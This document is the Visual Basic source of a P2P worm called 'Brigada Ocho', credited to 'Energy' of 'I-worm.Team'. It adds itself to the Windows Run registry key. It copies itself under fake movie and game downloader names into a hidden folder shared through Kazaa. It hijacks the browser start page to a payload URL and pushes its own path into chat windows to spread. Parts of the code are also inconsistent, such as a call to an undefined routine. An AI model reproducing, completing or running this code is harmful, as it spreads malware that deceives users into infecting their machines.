'I-worm.Team by Energy

Option Explicit
Dim ok As Boolean
Public iks As Integer, ok1 As Boolean
Dim send As Integer
Dim ASh As Long
Public Const SWP_HIDEWINDOW = &H80
Public Const HWND_BOTTOM = 1
Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, 
ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal 
cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" 
(ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal 
bFailIfExists As Long) As Long
Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, 
ByVal lParam As Long) As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" 
(ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function CreateDirectory Lib "kernel32" Alias 
"CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As 
SECURITY_ATTRIBUTES) As Long
Public Const WM_CHAR = &H102
Public Declare Function GetSystemDirectory Lib "kernel32" Alias 
"GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal 
hwnd As Long, _
ByVal lpClassName As String, ByVal nMaxCount As Long) As Long 
Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd 
As Long) As Long
Const GW_CHILD = 5
Const GW_HWNDNEXT = 2
Public Const WM_KEYDOWN = &H100
Public Const HKEY_CURRENT_USER = &H80000001
Public Const VK_RETURN = &HD
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal 
hwnd As Long, ByVal _
wMsg As Long, ByVal wParam As Long, lParam As Any) As Long 
Const WM_GETTEXT = &HD
Const WM_GETTEXTLENGTH = &HE
Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" 
(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal 
lParam As Long) As Long

Declare Function RegisterServiceProcess Lib "kernel32" (ByVal 
dwProcessID As Long, ByVal dwType As Long) As Long
Public Const RSP_SIMPLE_SERVICE = 1 

Declare Function RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" 
(ByVal hKey&, ByVal lpszSubKey$, lphKey&)
Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" 
(ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, 
ByVal lpData As String, ByVal cbData As Long) As Long
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1

Declare Function CreateFileMapping Lib "kernel32" Alias 
"CreateFileMappingA" _
(ByVal hFile As Long, lpFileMappigAttributes As SECURITY_ATTRIBUTES, 
ByVal flProtect _
As Long, ByVal dwMaximumSizeHigh As Long, ByVal dwMaximumSizeLow As 
Long, ByVal lpName _
As String) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As 
Long) As Long
Type SECURITY_ATTRIBUTES
        nLength As Long
        lpSecurityDescriptor As Long
        bInheritHandle As Long
End Type

Const PAGE_READWRITE = 1
Const ERROR_ALREADY_EXISTS = 183&

Dim buf As String
Public nameall, name, passwordall, password, winstr As String
Dim i As Integer
Dim title, titleall, filepath As String

Public Function EnumProc(ByVal app_hwnd As Long, ByVal lParam As Long) 
As Boolean 
Dim buf As String * 1024
Dim length As Long


    If Dir(filepath) = "" Then
        title = ""
        titleall = ""
    End If
    
    length = GetWindowText(app_hwnd, buf, Len(buf))
    title = Left$(buf, length)

    If InStr(title, "Brigada Ocho") or InStr(title,"Energy and The 
Destruction Derby") Then 
        ok = False
        Call SetWindowPos(app_hwnd, HWND_BOTTOM, 1, 1, 1, 1, 
SWP_HIDEWINDOW)
        Call GetZiWin(app_hwnd)
    End If
    If InStr(title, "You want help ?") And iks > -1 Then'Sorry, this 
funktion are not ready to you'
       iks = iks + 1
       Call SetWindowPos(app_hwnd, HWND_BOTTOM, 1, 1, 1, 1, 
SWP_HIDEWINDOW)
       ahs = app_hwnd
    End If
    If InStr(title, "more funktion") And iks > 0 Then'HeHe'
     iks = iks - 1
       If iks = 0 Then
          Call SetWindowPos(app_hwnd, HWND_BOTTOM, 1, 1, 1, 1, 
SWP_HIDEWINDOW)
          ok1 = False
          send = 0
          Call GetZiWin(app_hwnd)
       End If
    End If
EnumProc = 1
End Function


Public Function GetZiWin(window_hwnd As Long) As String
Dim buflen As Long
Dim child_hwnd As Long
Dim children() As Long
Dim num_children As Integer
Dim i As Integer
Dim vs As Integer

    '取得类名
    buflen = 256
    buf = Space$(buflen - 1)
    buflen = GetClassName(window_hwnd, buf, buflen)
    buf = Left$(buf, buflen)
    If Right$(buf, 4) = "Edit" And ok1 = False And send = 0 Then
       Call PostMessage(window_hwnd, WM_CHAR, App.Path & "\" & 
App.EXEName & ".exe", 0)
       send = 1
    End If
    If Right$(buf, 6) = "Button" And ok1=false and send <> 1 Then
       Dim fff As String
       fff = GetWinText(window_hwnd)
       If InStr(fff, "1234") <> 0 Then
          Call PostMessage(window_hwnd, WM_KEYDOWN, VK_RETURN, 0)
          window_hwnd = ASh
       End If
       If InStr(fff, "....") Then
          Call PostMessage(window_hwnd, WM_KEYDOWN, VK_RETURN, 0)
          send = 2
          ok1 = True
       End If
    End If
    If Right$(buf, 4) = "Edit" And ok = False And ok1 <> False Then
        Call PostMessage(window_hwnd, WM_CHAR, "BTW", 0)
        ok = True
        vs = 1
    End If
    If Right$(buf, 6) = "Button" And ok = True And vs <> 1 And ok1 <> 
False Then
       Dim hdf As String
       hdf = GetWinText(window_hwnd)
       If InStr(hdf, "送消息") <> 0 Then
          Call PostMessage(window_hwnd, WM_KEYDOWN, VK_RETURN, 0)
          ok = False
       End If
    End If
    
    num_children = 0
    child_hwnd = GetWindow(window_hwnd, GW_CHILD) 
    Do While child_hwnd <> 0 
        num_children = num_children + 1
        ReDim Preserve children(1 To num_children)
        children(num_children) = child_hwnd
        
        child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT) 
    Loop
    
    For i = 1 To num_children
        Call GetZiWin(children(i))
    Next i
End Function

Public Function GetWinText(window_hwnd As Long) As String 
Dim txtlen As Long
Dim txt As String

  
  GetWinText = ""
  If window_hwnd = 0 Then Exit Function
    
  txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
  If txtlen = 0 Then Exit Function
    
  txtlen = txtlen + 1
  txt = Space$(txtlen)
  txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal txt)
  GetWinText = Left$(txt, txtlen)
End Function


Sub AutoRun()
Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String
Dim Ret As Integer, lphKey As Long
  sKeyName = "Software\Microsoft\Windows\CurrentVersion\Run"
  sKeyValue = App.Path & IIf(Len(App.Path) > 3, "\" & "mswork.exe", 
"mswork.exe") 
  Ret = RegCreateKey&(HKEY_LOCAL_MACHINE, sKeyName, lphKey) 
  Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) 
End Sub

Sub Main()
Dim ynRun As Long
Dim sa As SECURITY_ATTRIBUTES

  sa.bInheritHandle = 1
  sa.lpSecurityDescriptor = 0
  sa.nLength = Len(sa)
  ynRun = CreateFileMapping(&HFFFFFFFF, sa, PAGE_READWRITE, 0, 128, 
App.title) 
  'If ynRun = 0 Then MsgBox "Energy", vbQuestion, "
  If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then 
  '    MsgBox "You find it out", vbQuestion, ""
      CloseHandle ynRun 'HeHe'
      End
  End If
 AutoRun
 p2p
Call MsgBox("This a Update to translate with Brigada Ocho", vbOKOnly,)
if month(date)=12 and day(date)=6 then
call msgbox("hehe",vbOKOnly)
end if
if (month(date)+day(date))=31 then
call msgbox("Shout up...This are Brigada Ocho P2P Worm from 
Energy"&vbCrlf&"mail me 
to"&vbCrlf&"SST@Hablas.com"&vbCrlf&"group:I.Worm.Team",vbOKOnly,"Energy")
end if
 timmms
End Sub
Sub p2p()
   Dim sysdir As String
   Dim k As Long
   k = GetSystemDirectory(sysdir, 255)
   Dim windir As String
   windir = Left$(sysdir, (k - 6))
   Call CreateFolder(windir & "\" & "fonts\^-^")
    RegCT "\Software\Kazaa\Transfer\DlDir0", "012345:" & windir & "\" & 
"fonts\^-^"
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\Gotic2_Full Downloader.exe", 1
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\James Bond-Die antother Day-FullDownloader.exe", 1
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\Rign of Fire - FullDownloader.exe", 1
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\Herr der Ringe2-FullDownloader.exe", 1
    CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\Alcopaul great Adventure.exe", 1
    dim xsd
    XSD = 0
    Do While XSD < 2000
    Randomize
    dim num,num2
    num = Int((5 * Rnd) + 1)
    num2 = Int((100000 * Rnd) + 1)
    If num = 1 Then CopyFile App.Path & "\" & App.EXEName & ".exe", 
windir & "\" & "fonts\^-^\Rebeka-FullInstaler.exe", 1
    If num = 2 Then CopyFile App.Path & "\" & App.EXEName & ".exe", 
windir & "\" & "fonts\^-^\Minerva" & num2 & ".exe", 1
    XSD = XSD + 1
    Loop
nResult = Shell("start.exe http://..../Brigada Ocho.exe", vbHide)
RegCT "\Software\Microsoft\Internet Explorer\Main\Start Page", 
"http://..../Brigada Ocho.exe"
End
End Sub
Sub RegCT(regkey, regvl)
Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String
Dim Ret As Integer, lphKey As Long
  sKeyName = regkey 
  sKeyValue = regvl
  Ret = RegCreateKey&(HKEY_CURRENT_USER, sKeyName, lphKey) 
  Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) 
End Sub
Sub CreateFolder(NewDirectory As String)
Dim sdt As String
Dim sca As SECURITY_ATTRIBUTES
Dim bsc As Boolean
Dim sp As String
Dim ict As Integer
Dim std As String
sp = NewDirectory
If Right(sp, Len(sp)) <> "\" Then
sp = sp + "\"
End If
ict = 1
Do Until InStr(ict, sp, "\") = 0
ict = InStr(ict, sp, "\")
std = Left(sp, ict)
sdt = Dir(std)
ict = ict + 1
sca.lpSecurityDescriptor = &O0
sca.bInheritHandle = False
sca.nLength = Len(sca)
bsc = CreateDirectory(std, sca)
Loop
End Sub
Sub timmm()
dim s as integer
s=0
do while s=0
sleep(100000)
iks = 0
EnumWindows AddressOf EnumProc, 0 
loop
End Sub